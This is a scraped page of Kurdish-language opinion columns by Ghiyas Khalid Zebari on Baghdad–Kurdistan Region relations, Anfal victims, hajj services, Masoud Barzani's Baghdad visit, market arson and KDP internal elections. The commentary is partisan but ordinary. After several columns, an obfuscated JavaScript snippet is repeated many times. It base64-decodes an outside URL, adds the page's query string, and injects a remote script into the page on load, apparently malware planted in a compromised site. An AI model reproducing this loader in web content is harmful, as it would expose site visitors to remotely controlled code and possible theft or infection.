غیاس خالد زێبارى
ههر وهلاتهكى یان ههرێمهكا دهستوورى پایتهختێ خوه یێ تایبهت ههیه، پایتهخت سهنتهرێ سازیێن ب یاردهر و رێڤهبرنا وهلاتى یه، مینا سهرۆكایهتیێ و حوكمهتێ…هتد. ههبوونا ڤان سازیان ژى ژبۆى پاراستنا وهلاتى و گهشهكرنا جڤاكى و ئارامیێ و سهقامگیریێ و سهروهریا قانوونێ و ئاشتهوایى یه. ژ بلى بریارێن سیاسى ل گهل وهلاتان و سازیێن نیڤدهولهتى و سهروهریێ، پایتهخت سهنتهرێ بریاردهرا چارهسهركرنا ئاریشێن ناڤخوه یێن وهڵاتى یه، نابیت پایتهخت ببیته ئهگهرێ سهرههلدان و چێكرنا قهیرانان د ناڤبهرا پێكهاتێن جڤاكى، ههر رهفتارهكا ب ڤى رهنگى دێ بیته ئهگهرێ ل دهستدانا سهنگا خوه یا پایتهختبوونێ ژلایێ پێكهاتێن جڤاكى، ب تایبهت بۆ وهڵاتهكێ مینا ئیراقێ كو وهڵاتهكه چهندین پێكهاتێن نهتهوى و ئایینى و ئهتنى ل خوه ههمبێز دكهت . ههر چهنده دهولهتا ئیراقێ خوهدى سیستهمهكێ دیموكراسى ــ فیدرالى یه و باژارێ بهغدا پایتهختێ وێ یه، پێتڤى بوو بهغدا ببا سهنتهرێ ئاشتى و پێكڤه ژیانێ و چارهسهركرنا قهیرانان ب تایبهت بهرامبهر ههرێما كوردستانێ و كوردا ب گشتى، چونكى ههرێما كوردستانێ ههرێمهكا دهستوورى و قانوونى یه و بهشهكه ژ ئیراقێ، ل دهمێ ئاڤاكرنا ئیراقا نوو یا پشتى رژێما دكتاتۆرى ل سالا 2003 ێ، ههرێما كوردستانێ ب رهزامهندیاخوه ڤهگهریایه بهغدایا پایتهخت و رۆلهكێ سهرهكى د ئاڤاكرنا ئیراقا نوو یا دیموكراسى و فیدرالى و دارشتنا دهستوورێ ههردهمى دا ههبوو، لێ ئهڤه چهند ساڵه ب تایبهت پشتى سالا 2014 بهغدا وهكى پایتهخت و ههمبێزگهرا سازیێن بریاردهر و رێڤهبرنا وهلاتى، بهرامبهر ههرێما كوردستانێ و خهلكێ وێ بوویه سهنتهرێ چێكرنا قهیرانا ب تایبهت ژلایێ ئابوورى و دارایى، حوكمهتا ئیراقێ ل بهغدایا پایتهخت ب ڤان بریارێن دوژمنانه دهرههقى و ههرێمێ و خهلكێ وێ یێن بڕینا مووچێ مووچهخۆرا و بۆدجێ سالانه، خوه ل پێشچاڤێن خهلكێ كوردستانێ وهكى دوژمن دیاركریه و خزمهتا ئاشتى و ئاشتهوایى یێ و پێكڤهژیانا جڤاك و پێكهاتێن ئیراقێ نهكریه. پێدڤى یه سازیێن دهولهتا ئیراقێ وهكى سهرۆك و جڤاتا نوونهرا و حوكمهت و دادوهرى، چاڤخشاندنهكا بلهز ل ڤان رهفتار و سهرهدهریێن دژى ههرێما كوردستانێ بكهت و ژبوو دهستوورى ڤهگهرێن و ب ئێك چاڤ ههمى پێكهاتێن ئیراقێ ببینن، زێدهتر دوژمنایهتیا كوردا نهكهن، چونكى ههرێما كوردستانێ ژى كارتێن فشارێ ههنه و ب بریارا خوه ڤهكێشانێ رهوشا ئیراقێ دێ بهرهڤ ئاراستهیێن دیتر چیت، ب تایبهت پشتى رهوشا نهۆ یا رۆژههلاتا ناڤین.
نووترين نووچه
- سەرۆك بارزانی جەژنا قەولتاسی ل كاكەییان پیرۆز دكەت
- ئەمریكا دەستخوەشیێ ل سەرۆك بارزانی دكەت بۆ هنارتنا نوونەرێ خوە یێ تایبەت بۆ سووریێ
- شاندێ دانوستاندكارێ پارتی ل گەل بەرەیێ گەل كۆمبوو
- پێدڤییە بەغدا شایستەیێن دارایی یێن هەرێما كوردستانێ بهنێریت
- مەسرور بارزانی و فالح فەیاز دوپاتی ل گرنگییا هەماهەنگییا ئەمنی د ناڤبەرا هەرێمێ و ئیراقێ دا كر
- ل ئیراقێ هندەك هێز بۆ دژایەتییا قەوارەیێ هەرێما كوردستانێ یێن دروست بووین
- پشتەڤـانیێ ل بزاڤێن سـەرۆک بارزانی بۆ رۆژئاڤـایێ کـوردستانێ دکـەین
- سەرۆك بارزانی دوپاتی ل ئێكڕێزییا ئالیێن كوردی ل سووریێ كر
- حوكمەتا هەرێمێ ب زەلالی پێگیرییا ب رێككەفتنێن ل گەل بەغدایێ كری
- دڤێت دەستهەلاتا دادوەری رۆلێ خوە د دابینكرنا شایستەیێن دارایی یێن هەرێما كوردستانێدا بگێڕیت
غياس خالد زێبارى
پێلاڤ ژى دیدهڤانن!
غیاس خالد زێبارى
بۆ پشتراستكرنا تاوانبارێن روودان و كارهساتێن دژى مرۆڤ و مرۆڤایهتیێ بهڵكهههكێ فهرمى یان دو سێ دیدهڤان بهسن كو بهێنه سزادان، ههر چهنده تاوان و كارهساتێن ل سهر دهستێ رژێما بهعسا سهدامى ل سهر خهلكێ كوردستانێ هاتى مینا ههوێن بناڤ ئهنفالا و كیمیاباراكرنێ و جینۆسایدكرنێ و وێرانكرنا هزاران گۆندا، زۆر بهلگههــ و دیكیۆمێنتارى و دیدهڤان ههنه كو خهلكێ كوردستانێ بهێنه قهرهبۆكرن، لێ مخابن ههتا نهۆ نه دهولهتا ئیراقا نوو یا لسهر بنهمایێ دیموكراسیێ و پاراستنا مافێن مرۆڤان هاتیه ئاڤاكرن ب ئهركێ خوه ڕابوو نه ژى جڤاك و سازى و رێكخراوێن نیڤدهولهتى .
پشتى بۆرینا زێدهتر ژ بیست سالا ل سهر ژناڤچوونا رژێما بهرێ یا ئیراقێ ههیام ههیام تاوانێن وان یێن دژى خهلكێ كوردستانێ و مرۆڤایهتیێ دهێنه ئاشكراكرن، بهرى چهند رۆژان ل باشوورێ ئیراقێ گۆڕهكێ ب كۆم یێ كوردێن ئهنفالكرى كو زێدهتر ل سهد ئافرهت و زاروو ب هۆڤانه لێ هاتبوونه بن ئاخكرن هاتیه دیتن و وێنێ پێلاڤهكا ئافرهتهكا كورد یا پڕى ئێسك دهركهفت و ل سۆشیال میدیایێ و راگههاندنێ هاته بهلاڤكرن، ئهگهر مرۆڤایهتى و مافێن مرۆڤ و وژدان دناڤ سازیێن نیڤدهولهتى و رێكخراوێن مافێن مرۆڤ مابیت، دیمهنێن ڤێ پێلاڤا ئافرهتا كوردا یا سڤیل و بێ تاوان هاتیه شههیدكرن تێرا هندێ ههیه ل سهر گهلێ كورد بهێنه ئاخفتن و كڤاشێ ل سهر حوكمهتا ئیراقێ بكهن خهلكێ قوربانى و زیان ڤێكهفتی بهێنه قهرهبۆكرن، مخابن بهرامهبهر ڤان ههمى كارهساتا جیهان یا كۆرهیه ..! ئهز باوهرم ئهگهر ئهڤ دیمهنه یێن ملهتهكێ خۆدان سهروهرى یان یێ ئهورۆپى و ئهمریكى و ئهرهبى و …هتد ئهڤ پێلاڤه دا بیته ئهگهرێ قهڕهبۆكرنێ و دابینكرنا پشتهڤانیا نیڤدهولهتى بۆ وى ملهتى و دا ل مهزنتر مۆزهخانه هێته دانان، ژلایهكێ دیتر ڤهگێرانا بهشهك ژ دیمهنێ گرتنا كوردان دهمێ ئهنفالكرنێ ژلایێ ئهفسهرهكێ پلهدارێ لهشكرێ ئیراقێ دهمێ دبێژیت” دهمێ مه ژمارهكا كوردا گرتى و برینه باشوورێ ئیراقێ ل ئۆتۆمبێلێن لهشكرى ئیناینه خوار، كچهكا چوار سالى بدهنگهكێ بلند دگرى و ئاماژه دكره پێلاڤا خوه چونكى كهتهكا پێلاڤا وێ دیار نهبوو، من ژى گۆته سهربازهكى دناڤ ئۆتۆمبێلێ لێبگهرێ، دهمێ ڤهدیتى كهنیهكا جوان كر، چوكى چ ژ بابهتێ گرتن و كوشتنێ نه دزانى و پشتى دهمهكێ كورت من دیت كۆ پێلاڤێن وێ لجهێ بن ئاخكرنا وان یا ماى و ههتا نهۆ ههر دهمێ ئهز پێلاڤێن زاووریا دبینم گریا من دهێت . لهوما دبێژین پێلاڤ ژى دیدهڤانن بلا چاڤێن زل ژى ههبن.
سهرۆك وهزیر و دهردێ دلێ كوردووكێ
غیاس خالد زێبارى
بهرى چهند رۆژان مهسرۆر بارزانى سهرۆكێ حوكمهتا ههرێما كوردستانێ نهێنیا بههرهیهكا خوه ل تۆرێن جڤاكى ئاشكرا كر، ئهو ژى بهڵاڤكرنا ههلبهستهكا خوه بناڤێ دهردێ دلێ كهركووكێ، بهرى نهۆ مه زانى یه كو جهنابێ وى ژ بلى بههرهیا سیاسى و كارگێرى، بههرهدارهكێ هۆنهرێ شێوهكارى یه، لێ نهۆ ئهڤ بههرهیا وى ( ههلبهستڤانى ) بۆ خهلكێ كوردستانێ ئاشكرا بوو، زۆر گرنگه سهرۆك و سهركرده خودان بههرهیێن جودا جودا بن ب تایبهت هۆنهر و وێژێ ، چونكى ئهڤ بههرهیه هزر و شیانێن وان د بوارێن سیاسى و كارگێرى دا زێدهتر دكهن و پهیوهندیێن ل گهل تهخ و چینێن جڤاكى ژى زێدهتر لێ دكهن، رهنگه حهزن و شیانێن رێزدار مهسرۆر بارزانى د هۆنهر و وێژهیێ دا، ئێك بیت ژ نهێنیێن سهركهفتا وى د ئیدارهدانا حوكمهتا ههرێما كوردستانێ ب رهنگهكێ سهركهفتى و زاڵبوون ب سهر ناكۆكى و ئاریشهیان . ههلبهستا دهردێ دلێ كهركووكێ نه تنێ تێكستهكا وێژهیى یا ب ڕامانێن سیاسى یه، گازییهكا بلندا نهڕازیبوونا كهركووك و كهركووكیانه لسهر وێ رهوشا پشتى خیانهتا 16 ێ ئكتۆبهرێ ب سهر هاتى و ههتا ئهڤرۆ یا بهردهوام، ههلبهستا دهردێ دلێ كهركووكێ پانۆڕامایهكا كورت یا خهباتا پارتى یه ژ بووى ئازادى و رزگاریا ڤى باژارێ پیرۆز و گرنگ، ژلایهكێ دیتر دلسۆزى و حهژێكرنهكا بێ هاوتا یا رێزدار مهسرۆر بارزانى بۆ كهركووكێ دیار دكهت و ئهڤ رهوشا نهۆ كهركووك تێدا ئهو زۆر غهمگین و دلگران كریه . مهسرۆر بارزانى د ههلبهستا دهردێ دلێ كهركووكێدا ئاشكرا دكهت كو كهركووك تنێ ب كهركووكا دلێ كوردستانێ ڕازى دبیت و رێ ناكهت چ ناڤ و ناسناڤێت دیتر ل سهر بهێنه دانان و سهپاندن، ئالیهكێ دیتر یێ ڤێ ههلبهستێ رستهیێن ( شارى پێكهوه ژیانم … پێشمهرگهیه پاسهوانم ) دیار دكهت كو ئهڤ رهوشا هاتیه سهپاندن نهشێن برایهتیا پێكهاتێن جڤاكێ ڕهسهنێ كهركووكێ ژێك جودا بكهت و تووشێ ژێك دابڕیانهكا خویناوى بكهت و ههتا پێشمهرگههــ ههبیت كهركووكى د پشت ڕاستن كوردایهتیا كهركووكێ دێ هێته پاراستن، چونكى فهرمۆدا پیرۆزا جهنابێ سهرۆكێ نهمر مهلا مستهفاى بارزانى یه (كهركووك دلێ كوردستانێ یه)، دلێ كوردستانێ ژى ههردهم ژلایێ كوردستانیێن نشتیمان پهروهر یێ پاراستى یه، ژلایێ دهمێ بهلاڤكرنا ڤێ ههلبهستێ، جهێ پسیارێ یه، ب دیتنا من ئاماژێن گۆهڕینێن سیاسى یهل ئیراقێ و دهڤهرێ كو د بهرژهوهندا كورد و كوردستانیا و كهركووكێدا بن .
حهج و حهجى، داخوازى و پێدڤى
غیاس خالد زێبارى
حهج ستوونهكه ژ ستوونێن ئیسلامێ، ئهركهكه ژ پێنج ئهركێن چهسپاندى، ئهگهر شیان و دهلیڤه ههبن. حهج د ناڤ ههمى ئایینێن ئاسمانی دا ههیه، رهنگه د ناڤ ئایینێن دیتر ژى ههبیت، راسته شێوازێ حهجكرنێ ژ ئایینهكى بۆ ئایینهكێ دیتر جوداهى ههنه، لێ د ناڤ ههمییان دا ئهركهكێ سهرهكى یه دڤى یه باوهردان وان ئهركان ل دهم و جهێن دیاركرى بجهبئینن. راسته حهج ل سالا شهشێ كۆچى لسهر موسلمانا هاتیه چهسپاندن ههر وهكى (محهمهد) پێغهمبهر (س.خ) دبێژیت ) یا أیها الناس، قد فرچ علیكم الحج فحجوا)، لێ د ئایینێن بهرێ ژى دا ههبوویه ههر وهكى د قورئانا پیرۆز دا هاتیه، ﴿ۆإِژْ بَۆّأْنَا لِإِبْرَاهِیمَ مَكَانَ الْبَیْتِ أَنْ ڵا تُشْڕكْ بِی شَیْئًا ۆگَهِّرْ بَیْتِێ لِلگَّائِفِینَ ۆالْقَائِمِینَ ۆالرُّكَّعِ السُّجُودِ ﴾ الحج٢٦ .
جڤاكا كوردستانێ ژى وهكى مللهتهكێ زۆرینه موسلمان مینا ههمى جیهانا ئیسلامى پێگیریهكا زۆر ب بهمایێن ئیسلامێ ههیه، ژ وان بجهئینانا ئهركێ حهجێ كو جهێ وێ ل وهلاتێ سعوودیا ئهڤرۆیه و ههر سالا ژمارهكا زۆر بهرهڤ سهرهدان دكهن.
ئهوا مه دڤێت ئاماژێ پێ بكهن، دابینكرنا پێدڤى و داخوازیێن وى خهلكى نه ئهوێن سالانه ب مهرهما بجهئینانا ئهركێ حهجێ سهرهدانا ڤى جهێ پیرۆز دكهت. ههرچهنده حوكمهتا ههرێما كوردستانێ د رێكا وهزارهتا ئهوقاف و كاروبارێن ئایینى ههر سال ئاسانكاریێن زۆر بۆ حهجیێن كوردستانێ دكهت، لێ ئهو وهلاتیێن ڤێ رێكا دویر دبڕن و پارهكێ زۆر خهرج دكهن پێدڤى ب خزمهتكرنهكا زێدهترن و حوكهت ژى زێدهتر چاڤدێریا نوونهرێن خوه یێن دگهل دا و كۆمپانى و بهلێندهران بكهت، بۆ بجهئینانا ئهركێن خوه ل دووڤ رێنمایی یان، چونكى ژمارهكا حهجیێن كوردستانێ گازنده ل وان ههنه لسهر، كێمیا رێبهرێن ئایینى و نهدانا زانیاریێن تایبهت وهكى پێدڤى چونكى ههر چار پاسێن حهجیا ئێك رێبهر ههربوویه، دووریا جهێ مانهڤا وان ل كهعبێ، وهرگرتنا پارێ زێدهتر ل دهمێ ڤهگهریانێ بهرامبهر كهل و پهلێن وان، دابینكرنا خوارنا وهلاتێن دیتر كو دگهل خوارنا كوردستانى و ئیراقى زۆرا جودایه بۆ نموونه یا (مسری)، ڤهكۆشتنا قوربانیا ب بهایهكێ گران و هندهك جاران بهرى دهمێ دیاركرى .ئهڤه پشكهك بوون ژ گازنده و داخوازیێن ژمارهكا حهجیێن كوردستانێ و ب هیڤى یه حوكمهتا ههرێما كوردستانێ بۆ ساڵێن بهێت لبهرچاڤ بگریت، چونكى حهجی یێن ڤێ رێكا دوور دبڕن و ل ماڵێن خوه دوور دكهڤن ههژى خزمهتهكا زێدهترن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
سهرۆك ل بهغدایه
غیاس خالد زێبارى
پشتی شهش سالان سهرۆك مهسعود بارزانی سهرهدانا بهغدایا پایتهخت دكهت، ههر چهنده سهرهدانا كهسایهتیێن سیاسی د ناڤ ئێك وهلات دا، سهرهدانێن نۆرمال و سروشتی نه، لێ سهرهدانا سهرۆك بارزانی بۆ بهغدا نۆرمال و سروشتی نههاته دیتن، چونكی لسهر ئاستێن جهماوهری و فهرمی و راگههاندنێ و سۆشیال میدیایا كوردستانی و ئیراقی دهنگڤهدان و ڕهنگڤهدانهكا مهزن ههبوو، سهرۆك ل بهغدایه بۆیه درووشمێ ژمارهكا چالاكڤانێن سۆشیال میدیایێ و كهنالێن ڕاگههاندنێ، ڤێ چهندێ دیاركر كو چوونا سهرۆك بارزانی بۆ بهغدا زۆرا جودایه ل گهل سهرهدانێن كهسایهتیێن سیاسی و سهنگ و پێگههێ مهزن كاریگهر یێ جهنابێ وی دیار دكهت، چونكی د ڤێ سهرهدانا دو رۆژی دا چهندید دیدار و كۆمبوون ل گهل پڕانیا سهركردێن ئیراقی ب ههمی پێكهاتێن نهتهوهیی و ئهتنی یێن جڤاكێ ئیراقێ هاتنه كرن، نهخاسمه ئهوێن د ناڤ كابینهیا وهزاریا سونی دا، دیسا ههڤدیتن ل گهل ژمارهكا زۆرا بالیۆزیێن وهلاتان ل ئیراقێ كرینه، ئهڤ كۆمبوون و دیدارێن سهرۆك بارزانی ل بهغدا، دیمهنێن پێشوازی و دیدارێن ل گهل بارزانیێ نهمر ل بهغدا یێن پشتی ڤهگهریانا وی ل ئێكهتیا سۆڤیهتا بهرێ ل ساڵا ١٩٥٨ د ئین پێش چاڤێن مرۆڤى.
دهنگڤهدانا ڤێ سهرهدانا سهرۆك بارزانی و كۆمبوونێن گرنگ نیشانێ مهزناهی و گرنگیا پێشگههێ سهرۆك بارزانی یه لسهر پرس و سیاسهتا ئیراقێ و دهڤهرێ و ههست دهێتهكرن ببنه بنهمایهكێ موكۆم بۆ چارهكرنا پرس و ئاریشهیێن د ناڤبهرا ههولێر و بهغدایێ لسهر بنهمایێ دهستووری و رێكهفتنێن سیاسی، ژ لایهكێ دیتر ههست دهێتهكرن كو رهوشا ناڤخوه یا ئیراقێ و پهیوهندیێن وێ ل گهل ژمارهكا وهلاتان بهر ب ئالۆزیێن مهزن و ههڕفینێ ڤه بچن و سیاسیێن ئیراقێ تنێ سهرۆك بارزانی وهك سهركردهكێ نشتیمانیێ مهزن ب كلیلا دهربازبوونا وێ ل قهیرانهكا مهزنا سیاسی دبلۆماسی دیتی یه، یان ژی سهركرده و دهستههڵاتێن ئیراقێ گههشتینه باوهریێ كۆ ئیراقا بێ ههڤپشكیهكا ڕاستهقینه ل گهل ههرێما كوردستانێ نهشێت ئارام و سهقامگیر ببیت و سهرۆك بارزانی ژی هێڤێنێ وێ ههڤپشكیێ یه.
ئاشتهوایا ناڤخوه ی ئیراقێ ژی مژارهكا گرنگا ڤێ سهرهدانا سهرۆك بارزانی یه، كۆ مهرجێ سهقامگیری و ئارامیا ئیراقێ بتایبهت د ناڤبهرا (شیعه ــ سوننه) و (سونه ــ سونه) و بهردهوامیا رهوشا نها دێ رهوشا وهلاتی بهر ب مهترسیێن مهزنتر ڤه بهت.
ئهڤ سهرهدانا سهرۆك بارزانی بۆ ههر ئێك ژ ڤان پێشبینا ب بهرژهوهندیا ئیراقێ و ههرێما كوردستانێ دایه، ب تایبهت ههرێما كوردستانێ و حوكمهتا وێ كو دهمێ چهند سالایه ئیراق ئاستهنگێن ئابووری و دارایی و قانوونی و دهستووری بۆ كوردستانێ دروست دكهت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
ئهوێن بازاران دشهوتینن، دێ ئهنفالان ژی راكهن
غیاس خالد زێباری
ئهڤ ساله د رویدانێن بێ وێنهدا و ل دهمێن نێزیكی ئێك چهند بازارێن مللی ل ل ههولێرا پایتهخت و دهۆك و كهركووك هانته شهوتاندن (سۆتن)، كو ب هزاران ژ خهلكێ ههژارێ كوردستانێ ژیانا خوه پێ دابین دكر.
ههر ل دهسپێكێ دهم و شێوازێ شهوتینا ڤان بازاران ژلایێ خهلكێ كوردستانێ و دهستههلاتێ جهێ گۆمانێ بوو كۆ ب ئهنقهست و بن سێبهرا لایهن و دهستێن سیاسی ئهڤ كریارێن هاتبنه كرن.
جهێ دلخۆشیێ یه ل دهمهكێ كێم دا وهزارهتا ناڤخوهیی یا ئیراقێ ب ههڤپشكی دگهل وهزارهتا ناڤخوه یا كوردستانێ سێ تاوانبار هاتینه دهستهسهركرن كو دو ژ وان ئهندامێن هێزێن ئێمناهیا كوردستانێ نه و ب پیلانا پهكهكێ ئهڤ كریارێن تیرۆرستی ئهنجامدانه.
كارهساتا مهزن ئهوه ئهندام و پلهدارێن هێزێن ئێمناهی و دژه تیرۆرا كوردستانێ ل سلێمانیێ راستر ئهوه یێن ئێكهتیا نشتیمانیا كوردستانێ وهكی پارتیهكا دهستههلاتدار سهرپهرشتیا ڤان كریارێن نهرۆڤایهتی و تێكدهر بكهن، یا مهزن و مهزنتر ئهوه ئێك ژ وان ل ههلبژارتنێ ٢٠١٨ كاندیدێ ههمان حزب بوو بۆ ئهندامهتیا پهرلهمانێ كوردستانێ ..! ، دارشتنا پیلانا ڤێ تاوانێ ژلایێ پهكهكێ جهێ پسیار و حێبهتیێ و باسكرنێ نینه، چونكێ ههر ئهو لێ دهێته چاڤهڕێكرن و لسهر ڤان ڕهنگه ڕهفتارا مهزن بووینه، لێ جهێ پسیار و حێبهتیێ ههبوونا دهستێن ئهندامێن دژه تیرۆرا ئێكهتیێ و پێشمهرگههێن وان وانه، نهخاسمه كادرێن وان یێن پێشكهفتی كۆ كاندیدێن پهرلهمانێ كوردستانێ بن؟! ، چونكی نیڤهكا دهستههڵاداریا ههرێما كوردستان د هستی دایه و ئهگهر ئهو كاندیدێ وان یێ نڤیسكار و شوینوارناس خودان ئهڤ هزرا دژه كورد بیت، ببا ئهندامێ پهرلهمانێ كوردستانێ و دناڤ لیژنا ئاسایش و بهرگریدا با دا دهستێن وی چنه ناڤ چهند پیلان و كریارێن دژی خهلكێ كوردستانێ، سۆتنا ڤان بازارێن مللی و شوونواری ب ڤی ڕهنگی نه تنێ تاوانهكا نه مرۆڤایهتی یه بۆ لاوازكرنا ئابووری، بهلكی پشكهكه ژ پیلانێن جینۆسایدا ئابووری و ترساندنا خهلكی بۆ مهرامێن تایبهت و دهستكهفتێن بچیك یێن ماددی، ئهوێن دهست دناڤ ڤان تاواناندا ههی پهشكهكا نشتیمانیبوونێ و نهتهوایهتیێ لدهڤ نیه و ئهگهر شیان ههبن مینا رژێما بهعسا ئیراقێ دێ ههوێن ئهنفالكرنێ و جینۆسایدێ دژی خهلكێ كوردستانێ بهرپا كهن.
پێدڤیه ئێكهتیا نشتیمانی پێداچوونهڤهكا بلهز ل هێزێن خۆ یێن ئێمناهیێ و دژه تیرۆرێ بكهت و بهری قانوون وان سزا بدهت، وهكی حزب ژلایێ سیاسی وان سزا بدهت و ئهندامێن خۆ فێری پارێزهیا گهل و وهڵاتی و دهستكهفتان بكهت، نهك كارێن تیرۆرستی، ئهگهر نه مللهت دێ وان سزا دهت و سزایێ مللهت ل سزایێ قانوونێ دژوارتره.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
پارتی و دو ههلبژارتن
غیاس خالد زێبارى
بهری دیاركرنا رۆژا ٢٠/١٠/٢٠٢٤ وهك ژڤانێ ههلبژارتنێن پهرلهمانێ كوردستانێ پڕانیا پارتیێن كوردستانێ بایكۆتكرنا وان ههلبژارتنا ژلایێ پارتی ب ترس و رهڤین لڤێ پرۆسێ ددا دیاركرن، د بنهڕهتدا ئهو ههڵویستێ پارتی ههلوهستهكێ نشتیمانی بوو چونكی دژی مایتێكرن و دهستكاریا پێشوهخت یا ههلبژارتنا بوو ژلیێ چهند لایهنهكێن دیاركری، لهوما ئهو ههلوهستێ هاته ل بهرچاڤگرتن ژلایێ دادگهها فیدرال و كۆمسیونا ههلبژارتنێن ئیراقێ و جڤاكێ نیڤدهولهتی ڤه.
بریارا پارتی بۆ ئهنجامدانا كۆنفرانسێن ناڤخوهیی د ڤان كاودانان دا پهیامهكا رۆن و ئاشكرا بوو كو پارتی پارتیهكا دیموكراسی و جهماوهری یه و باوهری ب ئهنجامێن ههلبژارتنا ههیه، ژلایهكێ دیتر پارتی ب ههبوونا سهرۆك بارزانی و رێبازا بارزان ئێك باوهری و ئێكرێزیا ناڤخوهیی گهڕهنتیكریه و تووشی دوبهرهكیێن ناڤخوهیی نابیت، لێ ژبهر شێوازێ پێكهاتێ جڤاكێ كوردستانێ ب تایبهت ل دهرڤهی باژێران، ڤان كۆنفرانسان ئۆرگانێن پارتی لاوازكرن، چونكی پڕانیا كادرێن خودان شیان و ب ئهزموون بوونه قوربانی ڤی شێوازێ خێلهكیێ جڤاكێ كوردستانێ و كار گههشتیه وی ئاستی، ژبهر گڤاشێن هندهك كهسایهتیێن جڤاكی دهنگدهر بێ حهزا خوه دهنگی ب هندهك كهسان بدهت، كادرێن خودان شیان هاتنه دووركرن و ئێشاندن. ئهڤ چهنده ژی دێ بیته ئهگهرێ لاوازبوونا ئۆرگانێن پارتی، نهخاسمه یێن ناڤچه و رێكخراوا، دێ كاریگهریهكا نهرێنی لسهر ههلبژارتنێن داهاتی یێن پهرلهمانێ كوردستانێ كهت.
راسته ب ڤان كۆنفراسا پارتی شییا هندك لاوێن خوون گهرم و نوو بهێنه پێش كو ژلایێ جهستهیی و چالاكیێن هونهری و وهرزشی و سۆشیال میدیایی لڤینهكا باشتر بكهن، لێ ژبهر كێم ئهزموونیێ ژلایێ رێكخستنێ و پهیوهندیێن جڤاكی و دارشتنا پلان و بهرنامێن درێژخایهن د سهركهفتی نابن، ژبهر وان ئهگهرێن مه پێشتر دیاركری نهشێن خۆ دگهل پێشهاتا بگونجینن، بتایبهت پلان و بهرنامهیێن خوه ئامادهكرنا ههلبژارتنێن گشتی یێن پهرلهمانێ كوردستانێ.
پێدڤی یه سهركردایهتیا پارتی ڤێ ڕهوشێ زوو بههلسهنگینیت و چارهیهكا بلهز بۆ ببینیت، بۆ بهێزتركرنا ئۆرگانێن خوارێ یێن پارت كۆ هێلا پهیوهندیێن راستهوخوهنه ل گهل جهماوهری، و ئهز باوهرم سهركردایهتیا پارتی ب چاڤدێری و رێنمایی یێن سهرۆك مهسعود بارزانی چاوا بۆ ههمی رهوش و پێشهاتێن مهزن خواندنهكا باش و ئهرێنی ههبوویه و شیایه بسهر زال ببیت و ب سهرفیرازی و سهركهفتیانه لێ دهرباز بوویه، دێ خاندنهكا ئهرێنی ژی بۆ ناڤخۆی پارتی ههبیت و ل دهمهكێ زوو دێ ڤالاهیان پڕ كهتهڤه و دێ ههر هێزا ئێكهما بێ ركابهر بیت ل گۆڕهپانا سیاسی و ئیداریا ههرێما كوردستانێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
دو سهرۆك و ئێك ئاراسته، بۆ چارهسهریێ و بهێزتركرنێ
غیاس خالد زێبارى
